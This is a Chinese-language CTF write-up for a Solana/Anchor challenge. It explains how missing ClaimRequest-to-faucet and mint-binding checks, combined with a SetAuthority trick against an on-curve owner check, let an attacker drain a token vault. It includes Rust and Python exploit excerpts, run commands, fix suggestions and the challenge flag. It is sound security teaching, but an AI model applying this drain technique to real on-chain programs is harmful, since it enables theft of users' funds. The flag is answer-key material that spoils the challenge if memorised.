XCTF Lilac - launchpad

目录

XCTF Lilac 的 Solana/Anchor misc。核心是 ClaimRequest 与 Faucet 绑定关系校验缺失,并结合 no_pda=true 的绕过手法,最终一次性把 vault 清空。

题目附件:/_p/67efe178c3919b1ea379da0869983aa081d7769aaac76d1a073926a489beca49.tar.gz


题目信息

  • 类型:Solana / Anchor(misc)
  • 远程:1.95.144.176:9990
  • 交互:PoW → 上传 solve.so → 提交 Vec<Instruction>(服务端只用 user 一把私钥签名交易)
  • 目标:让 ATA(global_pda, fee_mint)(同时也是 faucet vault)余额变成 0,服务端打印 flag

这题本质是一个 “ClaimRequest 与 Faucet 绑定关系校验缺失” 的逻辑漏洞:程序只验证 ClaimRequest 的 PDA 是正确的,但没有验证 ClaimRequest 属于当前正在处理的 faucet,导致可以用“别的 faucet 的 ClaimRequest”去领“当前 faucet 的钱”。

相关 Program ID

  • Launchpad:4Y2Xg2yiHNCzEvfsz9DjGBzhCinu3z7R6pG3RbDqVgUd
  • Solve(需与服务器常量一致):BXMft3v8jaZSdN9y5MsoJHAomREuQfHpjLAGdQfHA1Ph
  • SPL Token:TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA
  • ATA:ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL
  • ComputeBudget:ComputeBudget111111111111111111111111111111

如果 solve 程序的 declare_id!() 和服务器要求的 SOLVE_ID 不一致,会直接报 DeclaredProgramIdMismatch(Anchor error 4100)。

服务端交互协议:PoW / 上传 / 指令格式

服务端逻辑在 launchpad/server/src/main.rs。协议大致如下:

  1. 连接后服务端发:prefix: <string>
  2. 客户端回:nonce: <u128>\n(满足 sha256(prefix + nonce) 前若干位为 0)
  3. 服务端发:program len:
  4. 客户端回:<len>\n + 紧接着发送 len 字节的 solve.so
  5. 服务端输出挑战初始化信息(admin/user/fee_mint/faucet_mint
  6. 服务端读取:u64 little-endian 长度 + JSON(表示 Vec<Instruction>
  7. payer=usersigners=[user_keypair] 执行你提交的指令序列

关键约束:服务端只会用 user 一把私钥签名交易,你无法在交易里额外引入第二个普通 keypair signer;想要“第二个身份”只能靠 PDA 在 solve 程序里 invoke_signed 扮演。

程序与数据结构速览

关键 PDA/Seeds

  • global = PDA(["global"])
  • emulate_clock = PDA(["emulate_clock"])
  • faucet = PDA(["faucet", mint])
  • user = PDA(["user", authority])
  • claim_request = PDA(["claim_request", faucet, user])

常量与结构体在 launchpad/launchpad/programs/launchpad/src/states.rs

pub const GLOBAL_SEED: &[u8] = b"global";
pub const EMULATE_CLOCK_SEED: &[u8] = b"emulate_clock";
pub const FAUCET_SEED: &[u8] = b"faucet";
pub const USER_SEED: &[u8] = b"user";
pub const CLAIM_REQUEST_SEED: &[u8] = b"claim_request";

pub struct Global { fee_mint, create_fee, claim_fee, stake_sol_amount, ... }
pub struct Faucet { mint, per_user_amount, max_claim_cnt, no_pda, ... }
pub struct User { authority, stake_timestamp, unlock_timestamp, ... }
pub struct ClaimRequest { faucet, receipt, user, amount, valid_timestamp, claimed, ... }

为什么 PDA 很关键:on-curve / off-curve

  • 普通 Keypair pubkey 在 ed25519 曲线上(on-curve)。
  • PDA(Program Derived Address)为了保证“没有私钥”,会被强制选成曲线外的点(off-curve)。

本题的 no_pda=true 防护,实际上是通过 is_on_curve(pubkey) 来实现的(见 launchpad/launchpad/programs/launchpad/src/utils.rs),所以 PDA 会被直接拒绝

但注意:程序检查的对象并不总是“authority”,而是某些路径下检查的是“receipt token account 的 owner”。这给了我们绕过空间(用 SetAuthority 改 owner)。

初始化后 vault 的真实余额

服务端创建全局参数 create_fee=100、并创建真实 faucet(per_user_amount=50, max_claim_cnt=10)。

在这道题里 faucet_mint == fee_mint,且 fee_vault == faucet_vault == ATA(global, fee_mint),因此:

  • 创建 faucet 会先把 create_fee=100 转入 fee_vault
  • 再向 faucet_vault mint 50 * 10 = 500

所以一开始 vault 总额是 600,而不是 500

这一点很关键:只要能从真实 vault 一次性转走 600,就能同时让 “fee_vault” 和 “faucet_vault” 变为 0,从而通过服务端校验。

漏洞点

1) CreateClaimRequest 没检查 faucet_mint == faucet.mint

launchpad/programs/launchpad/src/instructions/claim.rsCreateClaimRequest 中,faucet_mint 只约束了 mint::token_program没有 address = faucet.mint

结果:可以对某个 faucet 创建 ClaimRequest,但把 receipt/faucet_mint 绑定到另一种 mint(例如题目的 fee_mint)。

更具体地说,create_claim_request_handler 会写入:

claim_request.amount = faucet.per_user_amount;
claim_request.receipt = receipt.key();

其中 receipt 是按你传入的 faucet_mintinit_if_needed 的 ATA(或你显式给的 token account)。如果能让 claim_request.amount 来自“恶意 faucet”,而 receipt 却是“真实 faucet 的 mint”,就能把 amount 应用到真实 vault 的转账上。

同时 CreateClaimRequest 还会 faucet.claimed_cnt += 1 并检查 claimed_cnt <= max_claim_cnt,所以我们创建 ClaimRequest 的次数必须在限制内。

2) claim_batch 没检查 claim_request.faucet == ctx.accounts.faucet

claim_batch_handler 中,程序用 claim_request_account.faucetclaim_request_account.user 来重新推导 ClaimRequest PDA 并做校验,但 不校验

  • claim_request_account.faucet == ctx.accounts.faucet.key()

同时它真正转账的来源却是 ctx.accounts.faucet_vault(真实 faucet 的 vault)。

结果:可以“拿一个 faucet 的 ClaimRequest”,去“领另一个 faucet 的钱”。

代码逻辑(简化):

// 1) 解析 ClaimRequest account
let mut cr = Account::<ClaimRequest>::try_from(claim_request)?;

// 2) 用 cr.faucet/cr.user 推导 expected PDA,并要求 claim_request.key == expected
let expected = PDA(["claim_request", cr.faucet, cr.user]);
require_keys_eq!(expected, *claim_request.key, ...);

// 3) 校验 receipt key 一致 + 时间窗口
require_keys_eq!(cr.receipt, *receipt.key, ...);

// 4) 关键漏洞:没有 require_keys_eq!(cr.faucet, ctx.faucet.key())
// 5) 从 ctx.faucet_vault 转 cr.amount 到 receipt
transfer_checked(from = ctx.faucet_vault, to = receipt, amount = cr.amount);

也就是说:只要 ClaimRequest 自己“看起来是合法 PDA”,就会把 cr.amount 当成要从“当前 faucet”的 vault 转出的金额。

额外限制:必须绕过

A) no_pda=true 的限制来自 claim_batch 的“receipt owner on-curve”检查

真实 faucet 在创建时设置了 no_pda=trueclaim_batch 会对每个 (claim_request, receipt) 做:

let receipt_ta = TokenAccount::try_deserialize(receipt.data)?;
require!(is_on_curve(&receipt_ta.owner), FaucetError::PdaNotAllowed);

is_on_curvelaunchpad/programs/launchpad/src/utils.rs:本质就是判断该 pubkey 是否在 ed25519 曲线上,PDA 一定不在曲线上,因此 receipt 的 owner 不能是 PDA

B) “只能 user 签名”导致无法直接引入第二个普通 signer

服务端在执行你提交的指令序列时,只会用 user_keypair 作为 signer(见 run_ixs_full(&solve_ixs, &[&user_keypair], &user))。

因此如果我们想再拿一次 50(凑够 100 的 create_fee),就不能生成第二个 keypair signer;需要在我们上传的 solve 程序里,用 PDA + invoke_signed 来“伪装”一个第二身份。

C) 关键技巧:用 SetAuthority 临时把 receipt owner 改成 on-curve 的 user

我们可以让 receipt 本来属于 PDA(方便 PDA 在程序内操作),但在调用 claim_batch 之前:

  1. 用 SPL Token SetAuthority 把 token account 的 owner 从 auth_pda 改成外部 user(on-curve)
  2. claim_batch 通过 on-curve 检查并完成转账
  3. 再把 owner 改回 auth_pda

因为 SetAuthority 需要当前 owner 签名,所以当 owner 为 PDA 时,必须在 solve 程序里用 invoke_signed 才能完成。

另一个细节:simple_claimno_pda 检查对象是 authority.key()(也就是 signer),因此 PDA 不能用 simple_claim;我们只能让 PDA 走 “create_claim_request + claim_batch” 这条路径。

利用思路:完整链

核心思路:先凑够 create_fee=100 创建一个“恶意 faucet”(per_user_amount=600),再利用两处校验缺失,把它的 ClaimRequest 用到真实 faucet 的 claim_batch 上,一次性把真实 vault 的 600 转空。

下面给出完整的“资金流/状态变化”版本,确保每一步都可解释:

Step A:拿到 100 个 fee token,保持 vault 可一次性清空

初始:vault=600。

  1. 外部 user(第一笔 50):
  • create_user(质押 0.7 SOL,仅用于通过逻辑)
  • tweak_emulate_clock(+3601)(绕过 stake_claim_delay
  • simple_claim 领取 50 到 ATA(user, fee_mint)

效果:

  • user 拿到 50
  • vault 从 600 → 550
  1. 把质押的 0.7 SOL 拿回来(为后续创建 PDA/账户提供资金):

create_userglobal.stake_sol_amount=0.7 SOL 转进了 user_pda 账户里。直接不管它会导致后续创建账户/转账没钱,所以要 close_user 把 lamports 退回。

close_user 有时间限制:

  • require emulate_clock.timestamp >= user.unlock_timestamp
  • simple_claim 里:user.unlock_timestamp = now + faucet.stake_unlock_delay
  • 真实 faucet 的 stake_unlock_delay = 3600

所以我们再:

  • tweak_emulate_clock(+3601)
  • close_user(关闭 user_pda,把里面的 lamports 退回给外部 user)

这样外部 user 的 SOL 余额又充足,能继续为后续账户创建付费。

  1. 由于 ClaimRequest PDA = PDA(["claim_request", faucet, user_pda]),同一个 authority 对同一个 faucet 只能创建一次 ClaimRequest(要么 init 冲突,要么 AlreadyClaimed/claimed==true),因此需要第二个 authority 来再领一次 50。

  2. 在 solve 程序内构造 auth_pda = PDA(["auth"])(第二身份):

  • 由外部 userauth_pda 转一些 SOL(让它能作为 payer)
  • auth_pda 通过 invoke_signed 调用 create_user 创建 auth_user_pda
  1. auth_pdacreate_claim_request → claim_batch 领取第二笔 50:
  • tweak_emulate_clock(+3601)(同样为了保证各种时间检查无坑)
  • create_claim_request(对真实 faucet)
  • 为了绕过 no_pda=true 的 on-curve 检查:把 ATA(auth_pda, fee_mint) 临时 SetAuthority 改成外部 user
  • 调用真实 faucet 的 claim_batch,领取 50 到 ATA(auth_pda, fee_mint)(此时 owner 是 user)

这里 create_claim_request 需要一个 user_fee_ta 满足约束:

  • token::mint = fee_mint
  • token::authority = authority(此处 authority = auth_pda

虽然 global.claim_fee = 0 导致这笔费用不会真的被转账,但 Anchor 仍会检查账户约束。

因此实现里额外准备了一个稳定的“辅助 token account”(例如 auth_fee_aux_ta),一直保持 owner=auth_pda,避免和 receipt(要反复改 owner)互相干扰。

  1. 把这 50 再 Transfer 给外部 user,并把 ATA(auth_pda, fee_mint) owner 改回 auth_pda(为后续继续用 PDA 操作做准备)。

效果总结:

  • 外部 user 一共持有 100fee_mint
  • vault 一共被领走 100600 → 500

Step B:创建恶意 faucet,把 vault 补回 600

  1. 外部 user 创建一套自己控制的 mint + faucet:
  • 创建 my_mint(mint authority = user)
  • 创建 my_faucet = PDA(["faucet", my_mint])
  • 调用 CreateFaucet,传入:
    • per_user_amount = 600
    • max_claim_cnt = 1
    • stake_claim_delay = 0(让 ClaimRequest 立刻可用)
    • no_pda = false

CreateFaucet 会先从 ATA(user, fee_mint)create_fee=100 到 vault,因此:

  • vault 从 500 → 600回到可以“一次性清空”的 600

然后 CreateFaucet 会在 ATA(global, my_mint) 里 mint 出 600(但这是 my_mint 的 faucet_vault,和我们要清空的 vault 不是同一个 token account)。

Step C:漏洞链一次性把 vault 转空

  1. 生成一个“看似合法但实际跨 faucet”的 ClaimRequest:

my_faucetCreateClaimRequest,但故意把 mint/receipt 错配到真实 mint(fee_mint)

  • faucet = my_faucet(恶意 faucet,per_user_amount=600
  • faucet_mint = fee_mint(漏洞点 1:这里不校验 address = faucet.mint
  • receipt = ATA(auth_pda, fee_mint)(因为 faucet_mint=fee_mint,所以 receipt 也落在 fee_mint 上)

这样创建出来的 ClaimRequest 具备:

  • amount = my_faucet.per_user_amount = 600
  • receipt 是一个 fee_mint 的 token account
  1. 再次 SetAuthorityATA(auth_pda, fee_mint) owner 临时改成外部 user,准备通过真实 faucet 的 no_pda 检查。

  2. 调用真实 faucet 的 claim_batch,但传入 remaining accounts:

  • claim_request = PDA(["claim_request", my_faucet, auth_user_pda])
  • receipt = ATA(auth_pda, fee_mint)

此时 claim_batch 的行为:

  • claim_request_account.faucet = my_faucet 去验证 ClaimRequest PDA → 通过
  • 验证 claim_request_account.receipt == receipt.key → 通过
  • on-curve 检查看的是 receipt.owner(已被我们改成 user)→ 通过
  • 关键:从 ctx.faucet_vault(真实 vault)转 amount=600 到 receipt

因此真实 vault:600 → 0

  1. 服务端检查 fee_vaultfaucet_vault(两者同一个账户)余额为 0,通过并输出 flag。

实现方式:本地/远程均可复现

1) 上传的 solve 程序

路径:launchpad/client/solve/programs/solve/src/lib.rs

solve 程序做了三件事:

  1. 通过 CPI 调用 launchpad 程序的:
    • create_user / close_user / simple_claim / create_claim_request / claim_batch / create_faucet / tweak_emulate_clock
  2. 使用 PDA(auth_pda = PDA(["auth"]))在程序内 invoke_signed 扮演第二个用户身份
  3. 使用 SPL Token 指令 SetAuthority 临时修改 receipt token account 的 owner,以绕过 no_pda 的 on-curve 检查

solve 程序的账户列表是“静态的”(由脚本提前推导好并传入),例如:

  • global / emulate_clock / real_faucet / vault
  • 外部 useruser_pdaATA(user, fee_mint)、以及它对应的 ClaimRequest PDA
  • auth_pda 及其对应的 auth_user_pdaATA(auth_pda, fee_mint)
  • my_mint / my_faucet / my_claim_request

这些 PDA/ATA 都能通过 seeds 在链下确定性计算,因此脚本可以完整构造 Instruction.accounts

solve 的账户列表:与脚本一一对应

solve 程序 Solve<'info> 的 accounts(顺序固定):

  1. user(外部 signer)
  2. launchpad_program(launchpad program id)
  3. token_program(SPL Token program id)
  4. associated_token_program(ATA program id)
  5. system_program
  6. global(PDA)
  7. emulate_clock(PDA, mut)
  8. fee_mint
  9. vault = ATA(global, fee_mint)(mut)
  10. real_faucet = PDA(["faucet", fee_mint])(mut)
  11. user_pda = PDA(["user", user])(mut)
  12. user_claim_request = PDA(["claim_request", real_faucet, user_pda])(mut)
  13. user_fee_ta = ATA(user, fee_mint)(mut)
  14. auth_pda = PDA(["auth"])(mut,程序内 invoke_signed 当 signer 用)
  15. auth_user_pda = PDA(["user", auth_pda])(mut)
  16. auth_claim_request = PDA(["claim_request", real_faucet, auth_user_pda])(mut)
  17. auth_fee_ta = ATA(auth_pda, fee_mint)(mut,receipt,用于被 SetAuthority 改 owner)
  18. auth_fee_aux_ta = PDA(["aux"])(mut,稳定的 token account,用作 user_fee_ta 满足约束)
  19. my_mint = PDA(["mint"])(mut)
  20. my_faucet = PDA(["faucet", my_mint])(mut)
  21. my_faucet_vault = ATA(global, my_mint)(mut)
  22. my_refund_ta = PDA(["refund"])(mut,token account for my_mint,用作 refund_account)
  23. my_claim_request = PDA(["claim_request", my_faucet, auth_user_pda])(mut)

脚本 launchpad/solve_remote.py 会按同样顺序生成这些地址并填充 accounts 字段。

solve 的阶段划分:start_from / stop_after

为方便调试,solve 支持两个 u8 参数:

  • start_from:从某个阶段开始执行
  • stop_after:执行到某个阶段就提前返回

逻辑上分为 6 段(和写-up 的 Step 基本对应):

  1. step_user_claim:user simple_claim 拿到第一笔 50
  2. step_close_user:推进时间 + close_user 退回 0.7 SOL
  3. step_prepare_auth:创建 auth_pda,创建 auth_user_pda,准备各类 token account
  4. step_auth_claim_50:用 auth_pdacreate_claim_request + claim_batch 拿第二笔 50,并转给 user
  5. step_create_mint_and_faucet:创建 my_mint + my_faucet(支付 create_fee=100,使 vault 回到 600)
  6. step_drain_vault:创建“错配 ClaimRequest”,再用真实 claim_batch 一次性转走 600

脚本默认会拆成两次 solve 指令(同一笔交易里):

  • solve(0,5):执行 0~4,停在创建恶意 faucet(准备阶段)
  • solve(5,0):只执行第 5 段(drain 阶段)

PDA/ATA 的链下计算方式

脚本里实现了 Solana PDA/ATA 推导(核心就是 find_program_address + ata_address):

  • PDA:Pubkey::find_program_address(seeds, program_id)
  • ATA:PDA([owner, token_program_id, mint], ata_program_id)

另外脚本里也实现了 “ed25519 点是否在曲线上” 的判断,用于复现 PDA off-curve 的性质(PDA 需要找一个 off-curve hash)。

为什么要把 exploit 拆成两次 solve 调用?

一开始把整条 CPI 链塞进单个 solve() 指令,在某些环境会出现 ProgramFailedToComplete,常见原因是:

  • BPF 栈深/调用深度过深导致执行异常(日志往往被截断,看起来像“跑到某处就死”)

因此脚本默认会在 同一笔交易 里发两条 solve 指令:

  • solve(0,5):跑到创建恶意 faucet(准备阶段)
  • solve(5,0):只跑最终 drain 阶段

每条指令做的事情更少,栈更浅,稳定性显著提高。

2) 远程交互脚本

路径:launchpad/solve_remote.py

  • 负责 PoW、上传 solve.so、并构造指令 JSON
  • 默认 exploit 会在同一笔交易里发送两次 solve 指令:
    • solve(0,5):跑到创建恶意 faucet 为止
    • solve(5,0):只跑 drain 阶段

脚本同时会插入 ComputeBudget 指令(可选但建议):

  • RequestHeapFrame(256 * 1024)
  • SetComputeUnitLimit(1_400_000)

这能显著降低“算力/堆不够导致莫名失败”的概率(这道题 CPI 较多,默认 CU 可能吃紧)。

Exp 核心片段

真正触发漏洞的地方很短:solve 程序里用“恶意 faucet”的 ClaimRequest,但把 faucet_mint/receipt 绑定到真实 fee_mint,再对真实 faucet 调 claim_batch,从真实 vault 转出 amount=600

// launchpad/client/solve/programs/solve/src/lib.rs
#[inline(never)]
fn step_drain_vault<'info>(a: &Solve<'info>, auth_signer: &[&[&[u8]]], _stop_after: u8) -> Result<()> {
    // 1) 对 my_faucet 创建 ClaimRequest,但故意把 faucet_mint 指向 fee_mint(不会校验 address = faucet.mint)
    launchpad::cpi::create_claim_request(CpiContext::new_with_signer(
        a.launchpad_program.to_account_info(),
        launchpad::cpi::accounts::CreateClaimRequest {
            authority: a.auth_pda.to_account_info(),
            user: a.auth_user_pda.to_account_info(),
            global: a.global.to_account_info(),
            fee_mint: a.fee_mint.to_account_info(),
            fee_vault: a.vault.to_account_info(),
            user_fee_ta: a.auth_fee_aux_ta.to_account_info(),
            fee_token_program: a.token_program.to_account_info(),
            faucet: a.my_faucet.to_account_info(),
            faucet_mint: a.fee_mint.to_account_info(), // should be my_mint, but not checked
            claim_request: a.my_claim_request.to_account_info(),
            receipt: a.auth_fee_ta.to_account_info(),
            faucet_token_program: a.token_program.to_account_info(),
            associated_token_program: a.associated_token_program.to_account_info(),
            system_program: a.system_program.to_account_info(),
        },
        auth_signer,
    ))?;

    // 2) no_pda=true 检查的是 receipt.owner → 临时 SetAuthority 到外部 user
    set_token_account_owner_signed(
        &a.auth_fee_ta.to_account_info(),
        &a.auth_pda.to_account_info(),
        &a.user.key(),
        &a.token_program.to_account_info(),
        Some(auth_signer),
    )?;

    // 3) 用真实 faucet 的 claim_batch 来处理 “my_claim_request + receipt”
    step_claim_batch(a, &a.my_claim_request.to_account_info(), &a.auth_fee_ta.to_account_info())?;
    Ok(())
}

#[inline(never)]
fn step_claim_batch<'info>(a: &Solve<'info>, claim_request: &AccountInfo<'info>, receipt: &AccountInfo<'info>) -> Result<()> {
    launchpad::cpi::claim_batch(
        CpiContext::new(
            a.launchpad_program.to_account_info(),
            launchpad::cpi::accounts::ClaimBatch {
                global: a.global.to_account_info(),
                faucet: a.real_faucet.to_account_info(),
                faucet_mint: a.fee_mint.to_account_info(),
                faucet_vault: a.vault.to_account_info(),
                faucet_token_program: a.token_program.to_account_info(),
                emulate_clock: a.emulate_clock.to_account_info(),
                associated_token_program: a.associated_token_program.to_account_info(),
                system_program: a.system_program.to_account_info(),
            },
        )
        .with_remaining_accounts(vec![claim_request.clone(), receipt.clone()]),
    )?;
    Ok(())
}

链下脚本只负责 PoW + 上传 solve.so + 构造两条 solve(start_from, stop_after)(同一笔交易内),并提高 compute/heap 限额增强稳定性:

# launchpad/solve_remote.py
split = args.start_from == 0 and (args.stop_after == 0 or args.stop_after > 5)
solve_calls = [(0, 5), (5, args.stop_after)] if split else [(args.start_from, args.stop_after)]

ixs = [build_heap_frame(256 * 1024), build_compute_unit_limit(1_400_000)]
for start_from, stop_after in solve_calls:
    ixs.append(build_solve_ix(..., start_from=start_from, stop_after=stop_after))

payload = json.dumps(ixs, separators=(",", ":")).encode()
sock.sendall(struct.pack("<Q", len(payload)))
sock.sendall(payload)

复现与利用

本地复现

  1. 下载题目并解压:
curl -L -o launchpad.tar.gz https://i.cauchy.top/_p/67efe178c3919b1ea379da0869983aa081d7769aaac76d1a073926a489beca49.tar.gz
tar -xzf launchpad.tar.gz
cd launchpad
  1. 运行本地服务端(默认 0.0.0.0:1337):
cd server
cargo run -r --bin server
  1. 构建 solve.so(产物路径见脚本默认值):
cd ../client/solve
cargo build-sbf

如果最后提示找不到 strip.sh,但 target/sbpf-solana-solana/release/solve.so 已生成,通常仍然可用(本题环境可直接上传)。

  1. 运行 exploit:
cd ../../
python3 solve_remote.py --host 127.0.0.1 --port 1337 --action exploit

远程拿 flag

python3 solve_remote.py --action exploit

修复建议:出题方视角

至少需要补两处校验(两者任意一处修掉都能堵住本解):

  1. CreateClaimRequestfaucet_mint 上加约束:
  • address = faucet.mint
  1. claim_batch_handler 里校验 ClaimRequest 属于当前 faucet:
require_keys_eq!(claim_request_account.faucet, ctx.accounts.faucet.key(), ...);

并且建议把 receipt 的 mint 也显式比对(虽然 transfer_checked 会兜底,但早失败更清晰)。

Flag

LilacCTF{ch3ck5_r_u53l355_1f_u_d0n7_ch3ck_47_7h3_r1gh7_7im3_67cb2585a93c}